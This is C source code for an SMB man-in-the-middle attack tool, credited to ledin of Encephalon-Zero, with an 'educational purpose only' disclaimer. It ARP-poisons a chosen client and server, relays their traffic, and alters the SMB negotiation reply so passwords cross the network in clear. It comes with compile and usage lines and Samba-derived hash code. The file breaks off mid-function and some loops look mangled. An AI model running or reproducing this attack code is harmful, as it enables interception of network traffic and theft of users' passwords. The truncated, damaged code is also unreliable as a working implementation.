/********************************************************************* SMB MAN IN THE MIDDLE ATTACK Coded by ledin ledin@encephalon-zero.com For educational purpose only ! _______ / \__ | _\ | __ \ ___/ \____/ ENCEPHALON-ZERO DISCLAIMER : I could not be responsable of what you will make with this piece of code. Please read phrack 60 with the "SMB/CIFS by the root" article to understand what this program does ! check : www.phrack.org It works under linux ! This program allow you to recover SMB passwords in clear from the network when they should be encrypted. It's a derivated MIM attack described in phrack 60 ( article "SMB/CIFS by the root"). THIS PROGRAM DOES NOT NEED A 2.4.X KERNEL WITH PTABLES ! It's not a proxy transparent attack, this program operates the whole traffic redirection and SMB packets modifications . It needs libnet and libpcap. libnet : www.packetfactory.net ===> BE CAREFUL, YOU MUST USE THE 1.1 version. libpcap : www.tcpdump.org if you want to compile it : #gcc SmbMiddle.c -o SmbMiddle -lnet -lpcap if you want to use it : #SmbMiddle -i interface (ex : eth0) -c client's IP address -s SMB Server's IP address -f a fake IP address (want you but not yours !) The program waits for a SMB Session request of the client to the SMB server. Launches the MIM attack, recovers the password in clear and redirects the whole traffic. *********************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SMB_PORT 139 #define u_int8_t unsigned char #define u_int16_t unsigned short #define u_int32_t unsigned int #define u_char unsigned char #define uchar unsigned char /********************************************************************* STRUCTURES *********************************************************************/ typedef struct { u_int8_t Type; /*type*/ u_int8_t Flags; /*flags*/ u_int16_t Length; /*length of the NBT session packet*/ } NbtSessionHdr; typedef struct { u_int8_t Protocol[4]; /*Contains 0xFF,'SMB'*/ u_int8_t Command; /*Command Code*/ union { struct { u_int8_t ErrorClass; /*Error Class*/ u_int8_t Reserved; /*Reserved for future use*/ u_int8_t Error[2]; /*Error Code*/ } DosError; u_int8_t Status[4]; /*32-bits error code*/ } Status ; u_int8_t Flags; /*Flags*/ u_int8_t Flags2[2]; /*More Flags*/ union { u_int8_t Pad[12]; struct { u_int8_t PidHigh[2]; /*High Part of the Pid*/ u_int8_t Unused[4]; /*Not Used*/ u_int8_t Unused2[4]; /*Not Used*/ } Extra; } PadExtra; u_int8_t Tid[2]; /*Tree Identifier*/ u_int8_t Pid[2]; /*Caller's process ID*/ u_int8_t Uid[2]; /*Unauthenticated user ID*/ u_int8_t Mid[2]; /*Multiplex Id*/ } SmbBaseHdr ; typedef struct { u_int8_t WordCount; /*Count of parameter words =17*/ u_int8_t DialectIndex[2]; /*Index of selected dialect*/ u_int8_t SecurityMode; /*Security Mode :*/ /*bit 0 : 0=share, 1=user*/ /*bit 1 : 1=encrypt passwords*/ u_int8_t MaxMpxCount[2]; /*Max Pending multiplexed request*/ u_int8_t MaxNumbersVcs[2]; /*Max VCs betweeen client and server*/ u_int8_t MaxBufferSize[4]; /*Max transmit buffer size*/ u_int8_t MaxRawSize[4]; /*Max raw buffer size*/ u_int8_t SessionKey[4]; /*Unique token identifying this session*/ u_int8_t Capabilities[4]; /*Server Capabilities*/ u_int8_t SystemTimeLow[4]; /*System (UTC) time of the server */ u_int8_t SystemTimeHigh[4]; /*System (UTC) time of the server */ u_int8_t ServerTimeZone[2]; /*Time zone of server (min from UTC)*/ u_int8_t EncryptionKeyLength; /*Length of encryption Key*/ u_int8_t ByteCount[2]; /*Count of data bytes*/ } SmbNegProtReplyHdr; typedef struct { u_int8_t WordCount; u_int8_t ByteCount[2]; u_int8_t BufferFormat; } SmbNegProtRequestHdr; typedef struct { u_int8_t WordCount; /*Count of parameter words=13 (request)*/ u_int8_t AndXCommand; /*secondary (X) command,0xFF = none*/ u_int8_t AndXReserved; /*reserved (must be zero)*/ u_int8_t AndXOffset[2]; /*offset to next command Wordcount*/ u_int8_t MaxBufferSize[2]; /*Client's maximun buffer size*/ u_int8_t MaxMpxCount[2]; /*actual maximun multiplexed request*/ u_int8_t VcNumber[2]; /*0=first (only), nonzero-additional VC number*/ u_int8_t SessionKey[4]; /*session key */ u_int8_t CaseInsensitivePasswordLength[2]; /*size of password (ANSI)*/ u_int8_t CaseSensitivePasswordLength[2]; /*size of password (UNICODE)*/ u_int8_t Reserved[4]; /*reserved (must be 0)*/ u_int8_t Capabilities[4]; /*client capabilities*/ u_int8_t ByteCount[2]; /*Count of data bytes;min=0*/ } SmbSetupXRequestHdr ; typedef struct { u_int8_t WordCount; /*value=4 */ u_int8_t AndXCommand; /*secondary (X) command,0xFF = none*/ u_int8_t AndXReserved; /*reserved (must be zero)*/ u_int8_t AndXOffset[2]; /*offset */ u_int8_t Flags[2]; /*Additional information */ u_int8_t PasswordLength[2]; /*Length of password*/ u_int8_t ByteCount[2]; /*Count of data bytes ; min=3*/ } SmbTconXRequestHdr ; /********************************************************************* FUNCTIONS *********************************************************************/ void ArpRequesrInjection(u_int32_t *, u_int32_t *, u_char *, u_char *, char *, pcap_t *); void ArpPoison(u_int32_t *, u_int32_t *, u_char *, u_char *, char *); void EnetRedirection( u_char *, u_char *, u_int32_t, u_int32_t, u_char *, u_char *, u_char *, int , char *); void GetEnetAddress( u_char *, char *); u_char *NegProtReply( u_int32_t, u_int32_t, int, u_char *, u_char *, u_char *, int *, int *, u_char *, int *, int *, char *, pcap_t *); void NegProtRequest( u_int32_t, u_int32_t, int *, u_char *, u_char *, u_char *, char *, pcap_t *); void NegProtReplyModification(u_char *, int, u_char *, int ); void SetupXRequest( u_int32_t, u_int32_t , u_char *, u_char *, u_char *, u_char *, int , int *, int, int, char *, pcap_t *); void TcpAck( u_int32_t, u_int32_t, u_char *, u_char *, u_char*, int, int, int, char *, pcap_t *); void TcpFin( u_int32_t, u_int32_t, u_char *, u_char *, u_char*, int, int, int, int, char *, pcap_t *); /********************************************************************* ENCRYPTION FUNCTIONS (shamefully taken from samba !) *********************************************************************/ void SMBencrypt(u_char *, u_char *, u_char *); void SMBOWFencrypt(u_char *, u_char *, u_char *); void E_P16(const unsigned char *, unsigned char *); void E_P24(const unsigned char *, const unsigned char *, unsigned char *); static void permute(char *,char *,u_char *,int); static void lshift(char *,int,int); static void concat(char *,char *,char *,int,int); static void xor(char *,char *,char *,int); static void dohash(char *,char *,char *,int); static void str_to_key(const unsigned char *,unsigned char *); static void smbhash(unsigned char *,const unsigned char *,const unsigned char *,int ); /********************************************************************* THE CODE *********************************************************************/ /*To send a ARP reply*/ void ArpPoison(u_int32_t *Client, /*Client's IP adress*/ u_int32_t *SmbServer, /*SMB Server's IP adress*/ u_char *EnetClient, /*Client's MAC Adress*/ u_char *EnetSmbServer,/*server's MAC Adress*/ char *Device) /*Device name for injection*/ { libnet_t *l; libnet_ptag_t Tag; char ErrBuf[LIBNET_ERRBUF_SIZE]; /*We inject the packet directly on the network*/ l = libnet_init(LIBNET_LINK,Device,ErrBuf); /*We build the ARP header*/ Tag = libnet_build_arp( ARPHRD_ETHER,/*Hardware addr*/ ETHERTYPE_IP,/*Protocol addr*/ 6,/*Size of MAC adress*/ 4,/*Size of IP adress*/ ARPOP_REPLY, EnetClient,/*client's MAC adress*/ (u_char *) Client,/*client's IP adress*/ EnetSmbServer,/*Server MAC address*/ (u_char *) SmbServer, /*Server IP address*/ NULL, 0, l, 0); /*Following by the building of the ethernet header*/ Tag = libnet_autobuild_ethernet( /*Ethernet destination*/ EnetSmbServer, ETHERTYPE_ARP, /*Protocol Type*/ l); /*Write the Packet wire*/ libnet_write(l); /*Libnet destroy l*/ libnet_destroy(l); } /********************************************************************/ /*To have server and client MAC addresses*/ void ArpRequestInjection(u_int32_t *IpSrc, /*src's IP adress*/ u_int32_t *IpDst, /*dest's IP adress*/ u_char *EnetSrc, /*src's MAC Adress*/ u_char *EnetDst,/*dest's MAC Adress*/ char *Device, /*Device name for injection*/ pcap_t *Descr) { libnet_t *l; libnet_ptag_t Tag; char ErrBuf[LIBNET_ERRBUF_SIZE]; struct pcap_pkthdr Header; u_int32_t ArpSrc; u_int32_t ArpDst; struct ethhdr *EtherHdr; struct ether_arp *ArpHdr; char *Packet; u_char Zero[ETH_ALEN] = {0x0,0x0,0x0,0x0,0x0,0x0}; u_char Broadcast[ETH_ALEN] = {0xff,0xff,0xff,0xff,0xff,0xff}; /*Libnet initialization*/ l = libnet_init(LIBNET_LINK,Device,ErrBuf); /*We build the ARP header*/ Tag = libnet_build_arp( ARPHRD_ETHER,/*Hardware addr*/ ETHERTYPE_IP,/*Protocol addr*/ 6,/*Size of MAC adress*/ 4,/*Size of IP adress*/ ARPOP_REQUEST, EnetSrc,/*client's MAC adress*/ (u_char *) IpSrc,/*client's IP address*/ Zero, /*Nothing ! => ARP REQUEST*/ (u_char *) IpDst, /*client's IP address*/ NULL, 0, l, 0); /*Following by the building of the ethernet header*/ Tag = libnet_autobuild_ethernet( Broadcast, /*Ethernet destination*/ ETHERTYPE_ARP, /*Protocol Type*/ l); /*Write the Packet wire*/ libnet_write(l); /*Libnet destroy l*/ libnet_destroy(l); /*To sniff the ARP reply and collect MAC addresses*/ while(1) { Packet = (u_char *) (pcap_next(Descr,&Header)); EtherHdr = (struct ethhdr *) (Packet); if(ntohs(EtherHdr->h_proto)==ETHERTYPE_ARP) { ArpHdr = (struct ether_arp *) (Packet + ETH_HLEN); if(ntohs(ArpHdr->ea_hdr.ar_op)==ARPOP_REPLY) { memcpy(&ArpSrc, (u_int32_t *) (ArpHdr->arp_spa), sizeof(u_int32_t)); memcpy(&ArpDst, (u_int32_t *) (ArpHdr->arp_tpa), sizeof(u_int32_t)); if( ( ArpSrc == *IpDst) && ( ArpDst == *IpSrc)) { memcpy((u_char *) (EnetDst), (u_char *) (ArpHdr->arp_sha), ETH_ALEN); break; } } } } } /********************************************************************/ /*The encryption functions ( shamefully taken from Samba)*/ /* Unix SMB/Netbios implementation. Version 1.9. SMB parameters and setup Copyright (C) Andrew Tridgell 1992-1998 Modified by Jeremy Allison 1995. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ /* This implements the X/Open SMB password encryption It takes a password, a 8 byte "crypt key" and puts 24 bytes of encrypted password into p24 */ void SMBencrypt(uchar *passwd, uchar *c8, uchar *p24) { uchar p14[15], p21[21]; int i; /*All letters in upper case letter*/ for(i=0;i<15;i++) { if( passwd[i] >= 97 && passwd[i] <= 122) { passwd[i]=passwd[i]-32; } } memset(p21,'\0',21); memset(p14,'\0',14); strncpy((char *)p14,(const char *)passwd,14); E_P16(p14, p21); SMBOWFencrypt(p21, c8, p24); } void SMBOWFencrypt(uchar passwd[16], uchar *c8, uchar p24[24]) { uchar p21[21]; memset(p21,'\0',21); memcpy(p21, passwd, 16); E_P24(p21, c8, p24); } /* Unix SMB/CIFS implementation. a partial implementation of DES designed for use in the SMB authentication protocol Copyright (C) Andrew Tridgell 1998 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ /* NOTES: This code makes no attempt to be fast! In fact, it is a very slow implementation This code is NOT a complete DES implementation. It implements only the minimum necessary for SMB authentication, as used by all SMB products (including every copy of Microsoft Windows95 ever sold) In particular, it can only do a unchained forward DES pass. This means it is not possible to use this code for encryption/decryption of data, instead it is only useful as a "hash" algorithm. There is no entry point into this code that allows normal DES *operation. I believe this means that this code does not come under ITAR regulations but this is NOT a legal opinion. If you are concerned about the applicability of ITAR regulations to this code then you should confirm it for yourself (and maybe let me know if you come up with a different answer to the one above) */ #define uchar unsigned char static uchar perm1[56] = {57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4}; static uchar perm2[48] = {14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32}; static uchar perm3[64] = {58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7}; static uchar perm4[48] = { 32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25, 24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1}; static uchar perm5[32] = { 16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25}; static uchar perm6[64] ={ 40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25}; static uchar sc[16] = {1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1}; static uchar sbox[8][4][16] = { {{14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7}, {0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8}, {4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0}, {15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13}}, {{15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10}, {3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5}, {0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15}, {13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9}}, {{10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8}, {13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1}, {13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7}, {1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12}}, {{7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15}, {13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9}, {10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4}, {3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14}}, {{2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9}, {14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6}, {4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14}, {11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3}}, {{12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11}, {10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8}, {9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6}, {4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13}}, {{4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1}, {13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6}, {1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2}, {6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12}}, {{13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7}, {1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2}, {7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8}, {2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11}}}; static void permute(char *out, char *in, uchar *p, int n) { int i; for (i=0;i>1; key[1] = ((str[0]&0x01)<<6) | (str[1]>>2); key[2] = ((str[1]&0x03)<<5) | (str[2]>>3); key[3] = ((str[2]&0x07)<<4) | (str[3]>>4); key[4] = ((str[3]&0x0F)<<3) | (str[4]>>5); key[5] = ((str[4]&0x1F)<<2) | (str[5]>>6); key[6] = ((str[5]&0x3F)<<1) | (str[6]>>7); key[7] = str[6]&0x7F; for (i=0;i<8;i++) { key[i] = (key[i]<<1); } } static void smbhash(unsigned char *out, const unsigned char *in, const unsigned char *key, int forw) { int i; char outb[64]; char inb[64]; char keyb[64]; unsigned char key2[8]; str_to_key(key, key2); for (i=0;i<64;i++) { inb[i] = (in[i/8] & (1<<(7-(i%8)))) ? 1 : 0; keyb[i] = (key2[i/8] & (1<<(7-(i%8)))) ? 1 : 0; outb[i] = 0; } dohash(outb, inb, keyb, forw); for (i=0;i<8;i++) { out[i] = 0; } for (i=0;i<64;i++) { if (outb[i]) out[i/8] |= (1<<(7-(i%8))); } } void E_P16(const unsigned char *p14,unsigned char *p16) { unsigned char sp8[8] = {0x4b, 0x47, 0x53, 0x21, 0x40, 0x23, 0x24, 0x25}; smbhash(p16, sp8, p14, 1); smbhash(p16+8, sp8, p14+7, 1); } void E_P24(const unsigned char *p21, const unsigned char *c8, unsigned char *p24) { smbhash(p24, c8, p21, 1); smbhash(p24+8, c8, p21+7, 1); smbhash(p24+16, c8, p21+14, 1); } /********************************************************************/ /*To redirect the packets and to make a ARP reply storm if * there is ARP requests*/ void EnetRedirection( u_char *EnetDest, u_char *Packet, u_int32_t ClientIp, u_int32_t ServerIp, u_char *EnetClient, u_char *EnetServer, u_char *MyEnet, int PacketLength, char *Device) { /*Libnet*/ libnet_t *l; libnet_ptag_t Tag; struct ethhdr *EthHdr; struct ether_arp *ArpHdr; char ErrBuf[LIBNET_ERRBUF_SIZE]; int i; u_int32_t Client; u_int32_t Server; Client = ClientIp; Server = ServerIp; l=libnet_init(LIBNET_LINK,Device,ErrBuf); EthHdr = (struct ethhdr *) (Packet); if(ntohs(EthHdr->h_proto)!=ETHERTYPE_ARP) { Tag = libnet_build_ethernet( EnetDest, EthHdr->h_source, ntohs(EthHdr->h_proto), (u_char *) (Packet + ETH_HLEN), (int ) (PacketLength - ETH_HLEN), l, 0); libnet_write(l); libnet_destroy(l); } else { /*Check ARP request*/ if(ntohs(ArpHdr->ea_hdr.ar_op)==ARPOP_REQUEST) { if( !((memcmp(EthHdr->h_source,EnetServer,ETH_ALEN)) && (memcmp(EthHdr->h_source,EnetClient,ETH_ALEN)))) { /*ARP Reply storm*/ if(!(memcmp(EthHdr->h_source,EnetServer,ETH_ALEN))) { for(i=0;i<20;i++) { ArpPoison(&Client,&Server,MyEnet,EnetServer,Device); } } /*ARP Reply storm*/ if(!(memcmp(EthHdr->h_source,EnetClient,ETH_ALEN))) { for(i=0;i<20;i++) { ArpPoison(&Server,&Client,MyEnet,EnetClient,Device); } } } } } } /********************************************************************/ /*To have the MAC address of the machine*/ void GetEnetAddress(u_char *Enet,char *Device) { libnet_t *l; struct libnet_ether_addr *e; char ErrBuf[LIBNET_ERRBUF_SIZE]; l = libnet_init(LIBNET_LINK,Device,ErrBuf); e = libnet_get_hwaddr(l); memcpy(Enet,e->ether_addr_octet,ETH_ALEN); } /********************************************************************/ /*To modify the negprot reply*/ void NegProtReplyModification( u_char *DomainName, int DomainNameLength, u_char *Packet, int PacketLength) { NbtSessionHdr *NbtSession; SmbNegProtReplyHdr *SmbNegProtReply; NbtSession= (NbtSessionHdr *) (Packet + PacketLength); /*Put the domain name string instead of the encryption key*/ SmbNegProtReply = (SmbNegProtReplyHdr *) (Packet + PacketLength + sizeof(NbtSessionHdr) + sizeof(SmbBaseHdr)); memcpy((u_char * ) (Packet + PacketLength + sizeof(NbtSessionHdr) + sizeof(SmbBaseHdr) + sizeof(SmbNegProtReplyHdr)), DomainName, DomainNameLength); SmbNegProtReply->ByteCount[0] = DomainNameLength; /*To modify the security mode byte and the encryption key length*/ SmbNegProtReply->SecurityMode = 0x01; SmbNegProtReply->EncryptionKeyLength = 0x00; NbtSession->Length = htons(sizeof(SmbBaseHdr) + sizeof(SmbNegProtReplyHdr) + DomainNameLength); } /********************************************************************/ /*This function is used to sniff the SMB negprot reply packet that comes from the server to a fake client MAC address. We catch it ,modify it for having password in clear and send it with the right MAC adress*/ u_char *NegProtReply( /*Client's IP adress*/ u_int32_t Client, /*SMB server's Ip adress*/ u_int32_t SmbServer, /*Client's Source Port */ int Sport, /*Client's MAC adress*/ u_char *EnetClient, /*SMB Server's MAC adress*/ u_char *EnetSmbServer, /*MIM's MAC address*/ u_char *MyEnet, /*The length of the domain length string*/ int *DomainNameLength, /*The Length of the encryption key*/ int *EncryptionKeyLength, /*The encryption key*/ u_char *EncryptionKey, /*Modification Offset*/ int *NegOffset, /*The security level*/ int *Security, /*Device for injecting packets*/ char *Device, /*Pcap descriptor*/ pcap_t *Descr) { /*Use by Libpcap Fonction*/ struct pcap_pkthdr Header; /*Packet's structures*/ struct ethhdr *EtherHdr; struct ip *IpHdr; struct tcphdr *TcpHdr; NbtSessionHdr *NbtSession; SmbBaseHdr *SmbBase; SmbNegProtReplyHdr *SmbNegProtReply; /*Use by libnet functions*/ libnet_t *l; libnet_ptag_t Tag; char ErrBuf[LIBNET_ERRBUF_SIZE]; /*Our Packet */ u_char *Packet; int PacketLength; u_char *Temp; u_char EnetDst[ETH_ALEN]; /*For the domain name*/ u_char *DomainName; u_int16_t Size; /*To know the difference of size between the real * and the fake negprot reply*/ int Before; int After; /*Libnet initialisation*/ l= libnet_init(LIBNET_LINK,Device,ErrBuf); /*Packet analysis*/ while(1) { Packet = (u_char *) pcap_next(Descr,&Header); EtherHdr = (struct ethhdr * ) (Packet); if(!(memcmp(EtherHdr->h_dest,MyEnet,ETH_ALEN))) { if( !((memcmp(EtherHdr->h_source,EnetSmbServer,ETH_ALEN)) && (memcmp(EtherHdr->h_source,EnetClient,ETH_ALEN)))) { if(!(memcmp(EtherHdr->h_source,EnetSmbServer,ETH_ALEN))) { memcpy(EnetDst,EnetClient,ETH_ALEN); } if(!(memcmp(EtherHdr->h_source,EnetClient,ETH_ALEN))) { memcpy(EnetDst,EnetSmbServer,ETH_ALEN); } if(ntohs(EtherHdr->h_proto)==ETH_P_IP) { IpHdr = (struct ip * ) (Packet +ETH_HLEN); if(IpHdr->ip_p==IPPROTO_TCP) { TcpHdr = (struct tcphdr * ) ( Packet + ETH_HLEN + 4 * (IpHdr->ip_hl)); if( /*Check if that comes from the server*/ (IpHdr->ip_src.s_addr==SmbServer) && /*Check if that goes to the client*/ (IpHdr->ip_dst.s_addr==Client) && /*Check the destination port*/ (ntohs(TcpHdr->dest)==Sport) && /*Check the source port (139)*/ (ntohs(TcpHdr->source)==SMB_PORT) ) { NbtSession = (NbtSessionHdr *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff)); if((NbtSession->Type==0x00)) { SmbBase = (SmbBaseHdr *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(NbtSessionHdr)); /*Size of the packet before the modifications*/ Before = ntohs(NbtSession->Length); /*Check if we have a SMB negprot reply*/ if( SmbBase->Command == 0x72 ) { SmbNegProtReply = (SmbNegProtReplyHdr *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(NbtSessionHdr) + sizeof(SmbBaseHdr)); /*To have the domain Name*/ *Security = (SmbNegProtReply->SecurityMode) & 1; if(Security) { printf("\nUser level Security\n"); } else { printf("\nShare level Security\n"); } *DomainNameLength = SmbNegProtReply->ByteCount[0]- SmbNegProtReply->EncryptionKeyLength; DomainName = (u_char *) (malloc(*DomainNameLength * sizeof(u_char))); /*Copy the Domain name in a string*/ memcpy(DomainName, (u_char *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(NbtSessionHdr) + sizeof(SmbBaseHdr) + sizeof(SmbNegProtReplyHdr) + SmbNegProtReply->EncryptionKeyLength), *DomainNameLength); /*To have the encryption key*/ *EncryptionKeyLength = SmbNegProtReply->EncryptionKeyLength; memcpy( EncryptionKey, (u_char *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(SmbBaseHdr) + sizeof(NbtSessionHdr) + sizeof(SmbNegProtReplyHdr)), *EncryptionKeyLength); PacketLength = ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff); /*Packet modification*/ NegProtReplyModification(DomainName, *DomainNameLength, Packet, PacketLength); /*Size of the SMB packet after the modifications*/ After = ntohs(NbtSession->Length); /*Offset between the real and the fake reply*/ *NegOffset = Before - After; Tag=libnet_build_tcp( ntohs(TcpHdr->source), ntohs(TcpHdr->dest), ntohl(TcpHdr->seq), ntohl(TcpHdr->ack_seq), TH_PUSH|TH_ACK, ntohs(TcpHdr->window), 0, ntohs(TcpHdr->urg_ptr), 4*(TcpHdr->doff)+ ntohs(NbtSession->Length)+ sizeof(NbtSessionHdr), (u_char*) (Packet + PacketLength), ntohs(NbtSession->Length)+ sizeof(NbtSessionHdr), l, 0); Tag = libnet_build_ipv4(4 * (IpHdr->ip_hl) + 4*(TcpHdr->doff) + ntohs(NbtSession->Length)+ sizeof(NbtSessionHdr), IpHdr->ip_tos, ntohs(IpHdr->ip_id), IP_DF, IpHdr->ip_ttl, IPPROTO_TCP, 0, IpHdr->ip_src.s_addr, IpHdr->ip_dst.s_addr, NULL, 0, l, 0); /*build the ethernet Packet*/ Tag = libnet_build_ethernet( /*MAC adress of the client*/ EnetClient, /*MAC adress of the server*/ EnetSmbServer, /*Ethernet type * of packet*/ ETHERTYPE_IP, /*The packet upper the * ethernet header*/ NULL, /*The size of the packet upper * the ethernet header*/ 0, l, 0); /*Write it to the layer*/ libnet_write(l); libnet_destroy(l); break; } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } } } return DomainName; } /********************************************************************/ /*To sniff and to redirect the negprot request*/ void NegProtRequest( /*Client's IP adress*/ u_int32_t Client, /*SMB server's Ip adress*/ u_int32_t SmbServer, /*Client's Source Port */ int *Sport, /*Client's MAC adress*/ u_char *EnetClient, /*SMB Server's MAC adress*/ u_char *EnetSmbServer, /*MIM's MAC address*/ u_char *MyEnet, /*Device for injecting packets*/ char *Device, /*PCAP descriptor*/ pcap_t *Descr) { /*Use by Libpcap Fonction*/ struct pcap_pkthdr Header; /*Packet's structures*/ struct ethhdr *EtherHdr; struct ip *IpHdr; struct tcphdr *TcpHdr; NbtSessionHdr *NbtSession; SmbBaseHdr *SmbBase; /*Use by libnet functions*/ libnet_t *l; libnet_ptag_t Tag; char ErrBuf[LIBNET_ERRBUF_SIZE]; /*Our Packet */ u_char *Packet; u_char EnetDst[ETH_ALEN]; /*Libnet initialisation*/ l= libnet_init(LIBNET_LINK,Device,ErrBuf); /*Packet analysis*/ while(1) { Packet = (u_char *) pcap_next(Descr,&Header); EtherHdr = (struct ethhdr * ) (Packet); if(!(memcmp(EtherHdr->h_dest,MyEnet,ETH_ALEN))) { if( !((memcmp(EtherHdr->h_source,EnetSmbServer,ETH_ALEN)) && (memcmp(EtherHdr->h_source,EnetClient,ETH_ALEN)))) { if(!(memcmp(EtherHdr->h_source,EnetSmbServer,ETH_ALEN))) { memcpy(EnetDst,EnetClient,ETH_ALEN); } if(!(memcmp(EtherHdr->h_source,EnetClient,ETH_ALEN))) { memcpy(EnetDst,EnetSmbServer,ETH_ALEN); } if(ntohs(EtherHdr->h_proto)==ETH_P_IP) { IpHdr = (struct ip * ) (Packet +ETH_HLEN); if(IpHdr->ip_p==IPPROTO_TCP) { TcpHdr = (struct tcphdr * ) ( Packet + ETH_HLEN + 4 * 